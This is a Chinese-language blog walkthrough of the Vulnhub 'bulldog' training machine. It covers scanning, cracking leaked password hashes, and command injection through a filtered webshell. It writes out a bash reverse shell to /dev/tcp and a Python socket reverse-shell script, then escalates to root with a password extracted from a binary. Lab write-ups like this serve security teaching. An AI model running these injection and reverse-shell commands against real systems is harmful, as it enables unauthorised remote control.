飞道的博客

[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

566人阅读  评论(0)

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施。这篇文章将讲解Vulnhub靶机渗透题目bulldog,包括信息收集及目录扫描、源码解读及系统登陆、命令注入和shell反弹、权限提升和获取flag。本文是一篇Web渗透的基础性文章,希望对您有所帮助。

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
Wannacry分析:https://github.com/eastmountyxz/WannaCry-Experiment


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.bulldog题目描述及环境配置

Vulnhub是一个特别好的渗透测试实战靶场,提供了许多带有漏洞的渗透测试虚拟机下载。作者会深入分析20多个案例来熟悉各种Web渗透工具及方法,希望能帮助到您。

1.题目描述

Description
Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out? This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you!

Difficulty: Beginner/Intermediate, if you get stuck, try to figure out all the different ways you can interact with the system. That’s my only hint
Made by Nick Frichette (frichetten.com) Twitter: @frichette_n

I’d highly recommend running this on Virtualbox, I had some issues getting it to work in VMware. Additionally DHCP is enabled so you shouldn’t have any troubles getting it onto your network. It defaults to bridged mode, but feel free to change that if you like.



2.环境搭建

第一步,下载资源


第二步,打开VMware虚拟机安装靶场
找到我们刚才下载的文件,导入虚拟机。

选择存放的位置,然后点击导入。如果出现未通过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。


第三步,导入完成之后,设置NAT网络模式
注意,我们需要将靶机和kali放在同一个局域网下,保证能通信。


第四步,点击开启虚拟机

此时服务器处于开启状态,开始Kali操作吧!最早我一直去找用户名和密码尝试登录,后来想这个靶场应该是让你通过其他系统来渗透的。哈哈,毕竟我也是初学者,遇到任何简单问题都理解。


第五步,设置虚拟机网络
到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。

回车后会弹出选择界面,我们选择root一行回车,接着再次回车进入命令行模式。

输入“mount -o rw,remount / ”命令,再配置网络问卷,否则后面可能无法保存网络配置文件,这个命令让我们的 / 路径文件系统的可读模式能自由修改。接着输入命令查看网卡。

  • mount -o rw,remount /
  • ifconfig -a

作者的是ens33,然后继续输入命令修改网络配置文件。输入I修改模式,如下图所示。

  • vi /etc/network/interfaces

修改这两个地方,改成你的网卡名称,然后输入“:wq”保存。

最后输入reboot重启即可。



二.bulldog靶机渗透详解

1.信息收集及目录扫描

首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。

第一步,目标主机IP探测
首先需要探测目标靶场的IP,推荐三种方法。

方法1:使用arp-scan命令探测目标的IP地址

  • arp-scan -l
  • 目标IP为192.168.44.153


方法2:使用nmap识别目标主机

  • nmap -sP 192.168.44.0/24


方法3:使用netdiscover识别目标主机

  • netdiscover -r 192.168.44.0/24 -i eth0
    作者结合自己的虚拟机识别出来IP地址为:192.168.44.153



第二步,端口扫描
nmap命令的基本用法如下:

  • -sS:半开扫描,记入系统日志风险小
  • -sP:扫描端口前,先使用ping扫描,保证主机存活
  • -A:全面系统检测,启用脚本检测和扫描

输入命令如下:

  • nmap -sS -T4 -A -p- 192.168.44.153

扫描结果(主机开放端口)如下,常用的端口23、88和8080,发现SSH服务和Web服务,并且Web服务为python。23端口是 telnet 的默认端口,80端口和8080端口经常被用作提供web服务。

  • 23:SSH远程连接
  • 80:HTTP网站协议
  • 8080:HTTP网站协议


接着我们可以借助nc及其他工具对每个端口进行分析。

  • nc -nv 192.168.44.153 23

这里显示23是一个远程端口,运行着openssh服务。接着尝试在终端中输入“ssh -v test@192.168.44.153 -p 23”测试。

接着测试80端口和8080端口,运行结果如下:

  • nc -nv 192.168.44.153 80
  • nc -nv 192.168.44.153 8080

接下来使用搜索引擎搜索“WSGIServer/0.1 Python /2.7.12“,结果显示这是一个Django Web服务器。



第三步,目录扫描
在信息扫描中,目录扫描是接下来的操作,利用dirb扫描80端口的目录文件,敏感文件分析非常重要。

  • dirb http://192.168.44.153

使用dirb扫描到两个目录,但是没有任何有用信息。

  • DIRECTORY: http://192.168.44.153/admin/
  • DIRECTORY: http://192.168.44.153/dev/
  • DIRECTORY: http://192.168.44.153/admin/auth/
  • DIRECTORY: http://192.168.44.153/admin/login/
  • DIRECTORY: http://192.168.44.153/admin/logout/
  • DIRECTORY: http://192.168.44.153/dev/shell/



2.源码解读及系统登陆

第一步,敏感文件分析
尝试用浏览器访问网址,网页中包含了一张bulldog图片和文字。

  • http://192.168.44.153


查看源代码发现是POST提交请求,没有价值信息。

  • http://192.168.44.153/admin


打开admin尝试人工注入失败,也可以用Burp注入测试下。

  • http://192.168.44.153/admin/login/?next=/admin/


从扫描结果中,我们得到一个很有意思的web目录 /dev/ ,浏览器中访问。

  • http://192.168.44.153/dev/


浏览一下,发现/dev/页面的信息比较多,简单翻译如下。大概意思移除了PHP、phpmyadmin和CMS系统,新的系统是用Django编写并且启用了SSH。


查看/dev/shell发现Webshell不能使用,需要通过服务器进行身份验证才能使用Webshell。通常Webshell是能为我们所用的,但现在提示与服务器进行身份验证才能使用Webshell,那接着看看源代码(之前dirb扫描出该目录)。

  • http://192.168.44.153/dev/shell/



第二步,查看网页源代码并分析

查看 /dev/ 源代码,可以看到邮箱和一些hash值。

  • Team Lead: alan@bulldogindustries.com – 6515229daf8dbdc8b89fed2e60f107433da5f2cb –
  • Back-up Team Lead: william@bulldogindustries.com – 38882f3b81f8f2bc47d9f3119155b05f954892fb –
  • Front End: malik@bulldogindustries.com – c6f7e34d5d08ba4a40dd5627508ccb55b425e279 –
  • Front End: kevin@bulldogindustries.com – 0e6ae9fe8af1cd4192865ac97ebf6bda414218a9 –
  • Back End: ashley@bulldogindustries.com – 553d917a396414ab99785694afd51df3a8a8a3e0 –
  • Back End: nick@bulldogindustries.com – ddf45997a7e18a25ad5f5cf222da64814dd060d5 –
  • Database: sarah@bulldogindustries.com – d8b8dd5e7f000b8dea26ef8428caf38c04466b3e –


方法一:在线网站爆破
每个邮箱后都有一个哈希值,这很可能是password,接着对每个md5进行在线解密。

  • https://cmd5.com/
  • https://www.somd5.com/

解密出最后两条信息:

  • bulldog ( Back End nick@bulldogindustries.com )
  • bulldoglover ( Database sarah@bulldogindustries.com )

方法二:通过hash-identifier工具和John
爆破它们,就需要知道是哪种算法生成的这些值,我们借助一个开源的工具“hash-identifier”来识别哪种hash。

  • hash-identifier

其结果是SHA-1哈希,接下来使用John-The-Ripper进行解密即可。
参考文章:https://scriptboy.cn/p/writeup-bulldog/


接下来,我们使用用户名 nick@bulldogindustries.com 和 sarah@bulldogindustries.com 以及对应的密码 bulldog 和 bulldoglover 登陆,却失败告终。接着大胆猜测,用户名为 nick 和 sarah ,密码分别对应 bulldog 和 bulldoglover。

  • 用户名:nick,密码:bulldog
  • 用户名:sarah,密码:bulldoglover

成功登录系统,但提示没有对应的权限。



3.命令注入和shell反弹

第一步,访问Webshell的基本命令
尝试访问http://192.168.44.153/dev/shell,成功得到Webshell,此时能够提交6个命令。


这里给我们6个可用的命令,如下图所示,比如输入“ifconfig”查看网络。

但执行其他的命令会被拦截,因为该网站加了过滤,一些敏感命令没办法使用。


第二步,使用Linux的 & 和 | 进行命令组合绕过

  • ifconfig&&ls
  • ifconfig & whoami


我们需要想办法绕过防火墙取得最终权限,经过一番琢磨,用echo命令打包可以实现绕过,例如:echo whoami|sh。


第三步,nc监听端口并反弹shell
本地执行nc -lvp 4444监听本地端口4444,然后在Web-shell上执行反弹脚本。

  • nc -lvp 4444

接着尝试bash反弹,在靶机打开的网页命令框中输入命令,但结果提示错误。

  • bash -i >& /dev/tcp/192.168.44.138/4444 0>&1

由于echo命令是允许执行的,所以利用echo构建一个反弹shell的命令,然后用管道符给bash执行。

  • ls &&echo “bash -i >& /dev/tcp/192.168.44.138/4444 0>&1” | bash
  • echo “bash -i >& /dev/tcp/192.168.44.138/4444 0>&1” | bash
  • IP地址为Kali攻击机地址

在web页面执行echo ‘bash -i >& /dev/tcp/192.168.44.138/4444 0>&1’|bash,就可以弹回一个shell。注意,这里的IP地址是Kali系统的,否则会提示“500错误”。

此时的nc处于正常监听状态,并且成功反弹shell。



同时,补充另一种方法。通过Kali搭建一个简易Web服务,反弹shell的脚本要写到相应的目录,否则靶机用wget下载的时候就会访问失败。

import socket,subprocess,os 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.44.138", 4444))  #Kali系统IP地址 4444是nc的监听端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

如果服务器搭建在/var/www/html文件时,需要把脚本写到/var/www/html。

输入下面监听Python网站。

  • python -m SimpleHTTPServer 80

靶机用weget命令上传Python文件,并反弹shell。

  • pwd&wget http://192.168.44.153/bulldog-webshell.py
  • 反弹成功 输入python -c ‘import pty;pty.spawn("/bin/bash")’

至此,我们得到了django的普通权限,下一步就是想办法提权,这就需要不断地去探索发现整个系统的漏洞。



4.权限提升和获取flag

nc反弹shell之后,我们可以使用命令进行一系列的查看。

  • ls
  • cd

切换目录到 bulldogadmin,并查看全部文件,包括隐藏文件。

  • cd bulldogadmin
  • ls -al


这里发现一个.hiddenadmindirectory 文件,进入隐藏管理员目录查看。看到customPermissionApp,它应该是分配权限的一个程序,但我们没有权限打开。接着怎么办呢?虽然不能执行,但是尝试查看文件的内容和字符串。

  • cd .hiddenadmindirectory
  • ls -al

利用string查看可执行文件中的字符。

  • strings customPerssionApp

从以上字符猜测该程序的用途,推测其是密码。通过下列四个字符拼接,注意每一段后面的H不是密码需要去除。

SUPERultH
imatePASH
SWORDyouH
CANTget
  • 密码:SUPERultimatePASSWORDyouCANTget


接着想办法用上面的密码提升django或者bulldogadmin权限,我们想通过sudo su - root拿到root,但提示“su must be run from a terminal”。

这里补充一个技巧,可以用Python调用本地的shell实现,命令如下:

  • python -c 'import pty; pty.spawn("/bin/bash")'

然后执行命令 sudo su -,输入刚才记下来的密码,成功从django权限提升到root权限,最终成功获得root权限并拿到flag。

  • sudo su -
  • 密码:SUPERultimatePASSWORDyouCANTget

输入ls命令,发现里面只有一个文本文档,再输入 cat congrats.txt 查看文件,最后读取flag文件。



三.总结

写道这里,这篇文章讲解完毕,后续会更深入的分享。bulldog的渗透流程如下:

  • 信息收集
    目标IP探测 (arp-scan、netdiscover、nmap)
    Nmap端口扫描
  • 目录扫描
    用dirb扫出了许多关键目录(admin和dev页面)
  • 敏感文件查找及网页访问
  • MD5破解(在线破解、hash-identifier)
    仔细观察网页信息,该靶机主要在/dev目录处前端源码泄露了MD5密码信息
  • 登录管理员账号,并在/dev/shell页面利用命令注入漏洞
  • 命令注入和shell反弹
    命令拼接(ls &&echo “bash -i >& /dev/tcp/192.168.44.138/4444 0>&1” | bash)
    nc反弹shell(nc -lvp 4444)
    Python搭建临时Web服务(python -m SimpleHTTPServer 80)
  • 权限提升和获取flag
    sudo python -c ‘import pty; pty.spawn("/bin/bash")’
    sudo su - root

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。转眼5月份到来,这是第75篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行;同时学术论文得深入了,加油!感谢很多人的帮助,继续爬着,继续加油!

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2020-05-12 晚上12点写于贵阳 http://blog.csdn.net/eastmount/)



参考文献:
[1] https://www.vulnhub.com/entry/bulldog-1%2C211/
[2] Bulldog: 1 – Vulnhub Writeup - vonhewitt
[3] Vulnhub靶场渗透练习(三) bulldog - feizianquan
[4] VulnHub靶机学习——BullDog实战记录 - 安全师官方
[5] WriteUp|CTF-bulldog - cnsimo
[6] Vulnhub bulldog靶机渗透 - A1oe
[7] VulnHub------bulldog - 大方子
[8] [VulnHub靶机渗透] 一:BullDog2 - 工科学生死板板


转载:https://blog.csdn.net/Eastmount/article/details/106066009
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场